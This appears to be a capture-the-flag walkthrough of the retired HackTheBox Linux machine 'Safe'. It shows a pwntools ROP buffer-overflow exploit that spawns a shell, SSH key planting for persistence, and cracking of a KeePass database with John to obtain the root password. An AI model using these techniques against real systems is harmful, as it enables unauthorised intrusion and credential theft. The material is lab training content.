Name: Safe
Release Date: 27 Jul 2019
Retire Date: 26 Oct 2019
OS: Linux
Base Points: Easy - Retired [0]
Rated Difficulty:
Radar Graph:
sampriti 00 days, 03 hours, 14 mins, 48 seconds
snowscan 00 days, 04 hours, 46 mins, 33 seconds
Creator: gh0stm5n
CherryTree File: CherryTree - Remove the .txt extension

Again, we start with nmap -sC -sV -p- -Pn -oA ./Safe

$  nmap -sC -sV -p- -Pn -oA ./Safe
Starting Nmap 7.80 ( ) at 2020-07-14 12:31 EDT
Nmap scan report for
Host is up (0.024s latency).
Not shown: 65532 closed ports
22/tcp   open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 6d:7c:81:3d:6a:3d:f9:5f:2e:1f:6a:97:e5:00:ba:de (RSA)
|   256 99:7e:1e:22:76:72:da:3c:c9:61:7d:74:d7:80:33:d2 (ECDSA)
|_  256 6a:6b:c3:8e:4b:28:f7:60:85:b1:62:ff:54:bc:d8:d6 (ED25519)
80/tcp   open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Apache2 Debian Default Page: It works
1337/tcp open  waste?
| fingerprint-strings: 
|   DNSStatusRequestTCP: 
|     12:33:59 up 0 min, 0 users, load average: 0.24, 0.08, 0.03
|   DNSVersionBindReqTCP: 
|     12:33:54 up 0 min, 0 users, load average: 0.26, 0.09, 0.03
|   GenericLines: 
|     12:33:42 up 0 min, 0 users, load average: 0.34, 0.09, 0.03
|     What do you want me to echo back?
|   GetRequest: 
|     12:33:48 up 0 min, 0 users, load average: 0.28, 0.09, 0.03
|     What do you want me to echo back? GET / HTTP/1.0
|   HTTPOptions: 
|     12:33:49 up 0 min, 0 users, load average: 0.28, 0.09, 0.03
|     What do you want me to echo back? OPTIONS / HTTP/1.0
|   Help: 
|     12:34:04 up 1 min, 0 users, load average: 0.22, 0.08, 0.03
|     What do you want me to echo back? HELP
|   NULL: 
|     12:33:42 up 0 min, 0 users, load average: 0.34, 0.09, 0.03
|   RPCCheck: 
|     12:33:49 up 0 min, 0 users, load average: 0.28, 0.09, 0.03
|   RTSPRequest: 
|     12:33:49 up 0 min, 0 users, load average: 0.28, 0.09, 0.03
|     What do you want me to echo back? OPTIONS / RTSP/1.0
|   SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     12:34:04 up 1 min, 0 users, load average: 0.22, 0.08, 0.03
|_    What do you want me to echo back?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 105.18 seconds


We start with SSH and Apache.  There's a "waste?" port on 1337 as well.  Looking at the Apache page, it looks like the default page, but check the source code on it anyway.  Somebody was sneaky and points us to that 1337 page.

Someone set a binary download and an "echo" page.  Let's check out the binary first.  Running file on it shows us that it is an ELF executable.  That usually means reverse engineering or buffer overflow.  Did I mention I suck and despise reverse engineering and buffer overflow?  Really all things assembly?  Let's see if GDB can do anything with it and list out the functions and any binary protections.

OK. So we're dealing with an ELF that imports system() and gets() and of course main is primary drop in point with an additional test function.  We can also see with checksec that No Execute is set.  We need to bypass that.  The only way that I know to bypass that is to use Return Object Programming (ROP) chains.  We need to know what the buffer size is in the register so we can build our ROP chain.  So, in gdb use disassemble main.

It looks like the buffer is 0x70 bytes loaded into rax and then kicked over into rdi.  It looks like we can overflow it with really anything over 112 (0x70) bytes, but will it be enough.  The answer to that is no.  We need to kick it up to 120 bytes in order to try and control the [rip+0xe9e] above. So, we add some B's.  Instant seg fault.

Let's see what the test function looks like.

It looks like test() moves rdp to rdi and jumps to whatever address exists in r13.  That means we should be able to set r13 as system() and use that to run system commands.  To do that, we need to find the pop r13 call that moves the top of the stack into the right register.  It took a minute to find (and I'm sure there are easier ways to do it and if you know any drop me a message) but I finally found pop r13 in the __libc_csu_init function at 0x0401206.

Awesome.  Time to break out some pwntools to build the ROP chain.

from pwn import *

buf = "A" * 120

0x0000000000401206: pop r13; pop r14; pop r15; ret;

pop_r13_garbage = p64(0x401206)

0x000000000040116e : call   0x401040 

system = p64(0x40116e)

chain = buf + pop_r13_garbage + system + "BBBBBBBB" + "CCCCCCCC"



Now we can run the scriot, output the chain to a file, and feed that file into the ELF.  It of course throws another seg fault, but we see that system() is called at r13 like it should be.

We can add the right pointer into the script by adding:


system = p64(0x40116e)
binsh = "/bin/sh\x00"

0x0000000000401156 <+4>: mov rdi,rsp
0x0000000000401159 <+7>: jmp r13

test = p64(0x401156)

chain = buf + pop_r13_garbage + system + "BBBBBBBB" + "CCCCCCCC" + test + binsh


Run the script again, outputting it to a file.  We need to test it locally to see if it works.  To do that, we run:


$ (cat rop ; cat) | ./myapp


and whaddya know, shell works locally.  Let's add a remoting line to the script (final script in the Explotation node to the CTB file) and run it. Foothold shell and remote works too.

This shell is EXTREMELY limited.  One thing I can do though, is create a public key on my attacking machine (which I already have) and copy it over to the target using echo. 


echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDOTqkT+Qm51ei <REDACTED> kali@kali' >> authorized_keys


Then, we can ssh user@ with the passphrase for our key and have a better shell.

Now that we have a somewhat better shell, we can see what is in the user folder and (more importantly) SCP those files over to our machine. 

Now that we have them on our machine, we can quickly look at them to see what they are.  Obviously, the .kdbx file is a KeePass database and user.txt is the user flag, but what is in the JPGs?  They seem to be just pictures, but that doesn't mean there's not more to them.  When we did BigHead (retired May 2019), we used an image as a keyfile to crack the database.  This is probably a similar situation.  With there being 6 JPGs, let's write a short script to do it for us (hackers are lazy creatures, remember).

for i in *.JPG

     keepass2john -k $i MyPasswords.kdbx >> hashes

So now we have the hashes of the files.  Let's see if we can crack them with John and our trusty rockyou.txt list.


john --fork=4 -w=/usr/share/wordlists/rockyou.txt hashes


We do find a password!  The password is literally "bullshit"...... No comment. So we know one of those JPGs is the keyfile, but which one?  To find that out, we can use kpcli.  If you don't have kpcli, you can get it with "sudo apt-get install kpcli -y and you'll be set.  Again, there are 6 images. So, instead of trying each on individually, let's write a script that will do it for us.

for i in *.JPG
       echo bullshit | kpcli --kdb MyPasswords.kdbx --key $i -- command quit>/dev/null 2>&1

       if [[ $? -eq 0 ]]
              echo "Key: $i "

Now that we have the keyfile, we can use kpcli to open the DB using:


kpcli --kdb MyPasswords.kdbx --key IMG_0547.JPG


and using the "bullshit" password.  From there, ls the Groups, change into the MyPasswords Group, and show the root password. 

From here, we go back to the ssh terminal that we had earlier and su to root with that password.  Grab your flags and you're done.  For some reason, Another One Bites the Dust - Queen is running through my head right now.